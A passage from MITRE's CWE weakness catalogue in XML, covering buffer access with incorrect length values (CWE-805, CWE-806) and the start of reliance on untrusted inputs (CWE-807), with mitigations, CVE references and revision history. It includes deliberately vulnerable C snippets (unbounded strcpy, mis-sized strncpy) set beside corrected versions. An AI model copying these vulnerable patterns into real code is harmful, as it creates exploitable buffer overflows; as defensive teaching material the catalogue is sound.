						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>void host_lookup(char *user_supplied_addr){</Code>
							              <Block>
								                <Code>struct hostent *hp;</Code>
								                <Code>in_addr_t *addr;</Code>
								                <Code>char hostname[64];</Code>
								                <Code>in_addr_t inet_addr(const char *cp);</Code>
								                <Code/>
								                <Comment>/*routine that ensures user_supplied_addr is in the right
									format for conversion */</Comment>
								                <Code>validate_addr_form(user_supplied_addr);</Code>
								                <Code>addr = inet_addr(user_supplied_addr);</Code>
								                <Code>hp = gethostbyaddr( addr, sizeof(struct in_addr),
									AF_INET);</Code>
								                <Code>strcpy(hostname, hp-&gt;h_name);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This function allocates a buffer of 64 bytes to store the hostname
							under the assumption that the maximum length value of hostname is 64
							bytes, however there is no guarantee that the hostname will not be
							larger than 64 bytes. If an attacker specifies an address which resolves
							to a very large hostname, then we may overwrite sensitive data or even
							relinquish control flow to the attacker.</Text>
						            <Text>Note that this example also contains an unchecked return value
							(CWE-252) that can lead to a NULL pointer dereference (CWE-476).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In the following example, the source character string is copied to
						the dest character string using the method strncpy.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>...</Code>
							              <Code>char source[21] = "the character string";</Code>
							              <Code>char dest[12];</Code>
							              <Code>strncpy(dest, source, sizeof(source)-1);</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>However, in the call to strncpy the source character string is used
							within the sizeof call to determine the number of characters to copy.
							This will create a buffer overflow as the size of the source character
							string is greater than the dest character string. The dest character
							string should be used within the sizeof call to ensure that the correct
							number of characters are copied, as shown below.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>...</Code>
							              <Code>char source[21] = "the character string";</Code>
							              <Code>char dest[12];</Code>
							              <Code>strncpy(dest, source, sizeof(dest)-1);</Code>
							              <Code>...</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In this example, the method outputFilenameToLog outputs a filename
						to a log file. The method arguments include a pointer to a character string
						containing the file name and an integer for the number of characters in the
						string. The filename is copied to a buffer where the buffer size is set to a
						maximum size for inputs to the log file. The method then calls another
						method to save the contents of the buffer to the log file.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#define LOG_INPUT_SIZE 40</Code>
							              <Code/>
							              <Comment>// saves the file name to a log file</Comment>
							              <Code>int outputFilenameToLog(char *filename, int length) {</Code>
							              <Block>
								                <Code>int success;</Code>
								                <Code/>
								                <Comment>// buffer with size set to maximum size for input to log
									file</Comment>
								                <Code>char buf[LOG_INPUT_SIZE];</Code>
								                <Code/>
								                <Comment>// copy filename to buffer</Comment>
								                <Code>strncpy(buf, filename, length);</Code>
								                <Code/>
								                <Comment>// save to log file</Comment>
								                <Code>success = saveToLogFile(buf);</Code>
								                <Code/>
								                <Code>return success;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, in this case the string copy method, strncpy, mistakenly uses
							the length method argument to determine the number of characters to copy
							rather than using the size of the local character string, buf. This can
							lead to a buffer overflow if the number of characters contained in
							character string pointed to by filename is larger then the number of
							characters allowed for the local character string. The string copy
							method should use the buf character string within a sizeof call to
							ensure that only characters up to the size of the buf array are copied
							to avoid a buffer overflow, as shown below.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>...</Code>
							              <Comment>// copy filename to buffer</Comment>
							              <Code>strncpy(buf, filename, sizeof(buf)-1);</Code>
							              <Code>...</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2011-1959</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: large length value causes buffer over-read
						(CWE-126)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2011-1848</Observed_Example_Reference>
					          <Observed_Example_Description>Use of packet length field to make a calculation,
						then copy into a fixed-size buffer</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2011-0105</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: retrieval of length value from an
						uninitialized memory location</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2011-0606</Observed_Example_Reference>
					          <Observed_Example_Description>Crafted length value in document reader leads to
						buffer overflow</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2011-0651</Observed_Example_Reference>
					          <Observed_Example_Description>SSL server overflow when the sum of multiple
						length fields exceeds a given value</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-4156</Observed_Example_Reference>
					          <Observed_Example_Description>Language interpreter API function doesn't validate
						length argument, leading to information
						exposure</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Affected_Resources>
				        <Affected_Resource>Memory</Affected_Resource>
			      </Affected_Resources>
			      <References>
				        <Reference Reference_ID="REF-11" Local_Reference_ID="R.805.1">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 6, "Why ACLs Are Important" Page
						171</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-22" Local_Reference_ID="R.805.2">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Title>Address Space Layout Randomization in Windows
						Vista</Reference_Title>
					          <Reference_Link>http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.805.3">
					          <Reference_Author>Arjan van de Ven</Reference_Author>
					          <Reference_Title>Limiting buffer overflows with ExecShield</Reference_Title>
					          <Reference_Link>http://www.redhat.com/magazine/009jul05/features/execshield/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-29" Local_Reference_ID="R.805.4">
					          <Reference_Title>PaX</Reference_Title>
					          <Reference_Link>http://en.wikipedia.org/wiki/PaX</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.805.5">
					          <Reference_Author>Jason Lam</Reference_Author>
					          <Reference_Title>Top 25 Series - Rank 12 - Buffer Access with Incorrect Length
						Value</Reference_Title>
					          <Reference_Publisher>SANS Software Security Institute</Reference_Publisher>
					          <Reference_Date>2010-03-11</Reference_Date>
					          <Reference_Link>http://blogs.sans.org/appsecstreetfighter/2010/03/11/top-25-series-rank-12-buffer-access-with-incorrect-length-value/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-26" Local_Reference_ID="R.805.6">
					          <Reference_Author>Matt Messier</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>Safe C String Library v1.0.3</Reference_Title>
					          <Reference_Link>http://www.zork.org/safestr/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-27" Local_Reference_ID="R.805.7">
					          <Reference_Author>Microsoft</Reference_Author>
					          <Reference_Title>Using the Strsafe.h Functions</Reference_Title>
					          <Reference_Link>http://msdn.microsoft.com/en-us/library/ms647466.aspx</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-25" Local_Reference_ID="R.805.8">
					          <Reference_Author>Microsoft</Reference_Author>
					          <Reference_Title>Understanding DEP as a mitigation technology part
						1</Reference_Title>
					          <Reference_Link>http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-31" Local_Reference_ID="R.805.9">
					          <Reference_Author>Sean Barnum</Reference_Author>
					          <Reference_Author>Michael Gegick</Reference_Author>
					          <Reference_Title>Least Privilege</Reference_Title>
					          <Reference_PubDate>2005-09-14</Reference_PubDate>
					          <Reference_Link>https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Guarantee that copies are made into storage of sufficient
						size</Mapped_Node_Name>
					          <Mapped_Node_ID>ARR33-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Guarantee that copies are made into storage of sufficient
						size</Mapped_Node_Name>
					          <Mapped_Node_ID>ARR33-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>100</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-01-15</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Observed_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="806" Name="Buffer Access Using Size of Source Buffer" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software uses the size of a source buffer when reading from
					or writing to a destination buffer, which may cause it to access memory that is
					outside of the bounds of the buffer. </Description_Summary>
				        <Extended_Description>
					          <Text>When the size of the destination is smaller than the size of the source, a
						buffer overflow could occur.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>805</Relationship_Target_ID>
					          <!--Buffer Access with Incorrect Length Value-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C" Prevalence="Sometimes"/>
					          <Language Language_Name="C++" Prevalence="Sometimes"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium to High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Buffer overflows generally lead to crashes. Other attacks leading to
							lack of availability are possible, including putting the program into an
							infinite loop.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Buffer overflows often can be used to execute arbitrary code, which is
							usually outside the scope of a program's implicit security
							policy.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>When the consequence is arbitrary code execution, this can often be
							used to subvert any other security service.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use an abstraction library to abstract away risky APIs. Examples
							include the Safe C String Library (SafeStr) by Viega, and the Strsafe.h
							library from Microsoft. This is not a complete solution, since many
							buffer overflows are not related to strings.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Build and Compilation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use automatic buffer overflow detection mechanisms that are offered by
							certain compilers or compiler extensions. Examples include StackGuard,
							ProPolice and the Microsoft Visual Studio /GS flag. This is not
							necessarily a complete solution, since these canary-based mechanisms
							only detect certain types of overflows. In addition, the result is still
							a denial of service, since the typical response is to exit the
							application.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Programmers should adhere to the following rules when allocating and
							managing their applications memory: Double check that your buffer is as
							large as you specify. When using functions that accept a number of bytes
							to copy, such as strncpy(), be aware that if the destination buffer size
							is equal to the source buffer size, it may not NULL-terminate the
							string. Check buffer boundaries if calling this function in a loop and
							make sure you are not in danger of writing past the allocated space.
							Truncate all input strings to a reasonable length before passing them to
							the copy and concatenation functions</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-11">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a feature like Address Space Layout Randomization (ASLR) [R.806.3]
							[R.806.5].</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This is not a complete solution. However, it forces the attacker to
							guess an unknown value that changes every program execution. In
							addition, an attack could still cause a denial of service, since the
							typical response is to exit the application.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-12">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a CPU and operating system that offers Data Execution Protection
							(NX) or its equivalent [R.806.5] [R.806.6].</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This is not a complete solution, since buffer overflows could be used
							to overwrite nearby variables to modify the software's state in
							dangerous ways. In addition, it cannot be used in cases in which
							self-modifying code is required. Finally, an attack could still cause a
							denial of service, since the typical response is to exit the
							application.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Build and Compilation</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Most mitigating technologies at the compiler or OS level to date
							address only a subset of buffer overflow problems and rarely provide
							complete protection against even that subset. It is good practice to
							implement strategies to increase the workload of an attacker, such as
							leaving the attacker to guess an unknown value that changes every
							program execution.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following example, the source character string is copied to
						the dest character string using the method strncpy.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>...</Code>
							              <Code>char source[21] = "the character string";</Code>
							              <Code>char dest[12];</Code>
							              <Code>strncpy(dest, source, sizeof(source)-1);</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>However, in the call to strncpy the source character string is used
							within the sizeof call to determine the number of characters to copy.
							This will create a buffer overflow as the size of the source character
							string is greater than the dest character string. The dest character
							string should be used within the sizeof call to ensure that the correct
							number of characters are copied, as shown below.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>...</Code>
							              <Code>char source[21] = "the character string";</Code>
							              <Code>char dest[12];</Code>
							              <Code>strncpy(dest, source, sizeof(dest)-1);</Code>
							              <Code>...</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In this example, the method outputFilenameToLog outputs a filename
						to a log file. The method arguments include a pointer to a character string
						containing the file name and an integer for the number of characters in the
						string. The filename is copied to a buffer where the buffer size is set to a
						maximum size for inputs to the log file. The method then calls another
						method to save the contents of the buffer to the log file.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#define LOG_INPUT_SIZE 40</Code>
							              <Code/>
							              <Comment>// saves the file name to a log file</Comment>
							              <Code>int outputFilenameToLog(char *filename, int length) {</Code>
							              <Block>
								                <Code>int success;</Code>
								                <Code/>
								                <Comment>// buffer with size set to maximum size for input to log
									file</Comment>
								                <Code>char buf[LOG_INPUT_SIZE];</Code>
								                <Code/>
								                <Comment>// copy filename to buffer</Comment>
								                <Code>strncpy(buf, filename, length);</Code>
								                <Code/>
								                <Comment>// save to log file</Comment>
								                <Code>success = saveToLogFile(buf);</Code>
								                <Code/>
								                <Code>return success;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, in this case the string copy method, strncpy, mistakenly uses
							the length method argument to determine the number of characters to copy
							rather than using the size of the local character string, buf. This can
							lead to a buffer overflow if the number of characters contained in
							character string pointed to by filename is larger then the number of
							characters allowed for the local character string. The string copy
							method should use the buf character string within a sizeof call to
							ensure that only characters up to the size of the buf array are copied
							to avoid a buffer overflow, as shown below.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>...</Code>
							              <Comment>// copy filename to buffer</Comment>
							              <Code>strncpy(buf, filename, sizeof(buf)-1);</Code>
							              <Code>...</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Affected_Resources>
				        <Affected_Resource>Memory</Affected_Resource>
			      </Affected_Resources>
			      <References>
				        <Reference Reference_ID="REF-27" Local_Reference_ID="R.806.1">
					          <Reference_Author>Microsoft</Reference_Author>
					          <Reference_Title>Using the Strsafe.h Functions</Reference_Title>
					          <Reference_Link>http://msdn.microsoft.com/en-us/library/ms647466.aspx</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-26" Local_Reference_ID="R.806.2">
					          <Reference_Author>Matt Messier</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>Safe C String Library v1.0.3</Reference_Title>
					          <Reference_Link>http://www.zork.org/safestr/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-22" Local_Reference_ID="R.806.3">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Title>Address Space Layout Randomization in Windows
						Vista</Reference_Title>
					          <Reference_Link>http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.806.4">
					          <Reference_Author>Arjan van de Ven</Reference_Author>
					          <Reference_Title>Limiting buffer overflows with ExecShield</Reference_Title>
					          <Reference_Link>http://www.redhat.com/magazine/009jul05/features/execshield/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-29" Local_Reference_ID="R.806.5">
					          <Reference_Title>PaX</Reference_Title>
					          <Reference_Link>http://en.wikipedia.org/wiki/PaX</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-25" Local_Reference_ID="R.806.6">
					          <Reference_Author>Microsoft</Reference_Author>
					          <Reference_Title>Understanding DEP as a mitigation technology part
						1</Reference_Title>
					          <Reference_Link>http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-01-15</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="807" Name="Reliance on Untrusted Inputs in a Security Decision" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The application uses a protection mechanism that relies on the
					existence or values of an input, but the input can be modified by an untrusted
					actor in a way that bypasses the protection mechanism.</Description_Summary>
				        <Extended_Description>
					          <Text> Developers may assume that inputs such as cookies, environment variables,
						and hidden form fields cannot be modified. However, an attacker could change
						these inputs using customized clients or other attacks. This change might
						not be detected. When security decisions such as authentication and
						authorization are made based on the values of these inputs, attackers can
						bypass the security of the software.</Text>
					          <Text>Without sufficient encryption, integrity checking, or other mechanism, any
						input that originates from an outsider cannot be trusted.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>866</Relationship_Target_ID>
					          <!--2011 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>803</Relationship_Target_ID>
					          <!--2010 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>693</Relationship_Target_ID>
					          <!--Protection Mechanism Failure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>878</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 10 - Environment (ENV)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>859</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 14 - Platform Security (SEC)-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium to High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Attackers can bypass the security decision to access whatever is being
							protected. The consequences will depend on the associated functionality,
							but they can range from granting additional privileges to untrusted
							users to bypassing important security checks. Ultimately, this weakness
							may lead to exposure or modification of sensitive data, system crash, or
							execution of arbitrary code.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-10">
					          <Method_Name>Manual Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>Since this weakness does not typically appear frequently within a
							single software package, manual white box techniques may be able to
							provide sufficient code coverage and reduction of false positives if all
							potentially-vulnerable operations can be assessed within limited time
							constraints.</Text>
					          </Method_Description>
					          <Method_Effectiveness>High</Method_Effectiveness>
					          <Method_Effectiveness_Notes>
						            <Text>The effectiveness and speed of manual analysis will be reduced if the
							there is not a centralized security mechanism, and the security logic is
							widely distributed throughout the software.</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-14">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Identify and Reduce Attack Surface</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Store state information and sensitive data on the server side only. </Text>
						            <Text>Ensure that the system definitively and unambiguously keeps track of
							its own state and user state and has rules defined for legitimate state
							transitions. Do not allow any application user to affect state directly
							in any way other than through legitimate actions leading to state
							transitions.</Text>
						            <Text>If information must be stored on the client, do not do so without
							encryption and integrity checking, or otherwise having a mechanism on
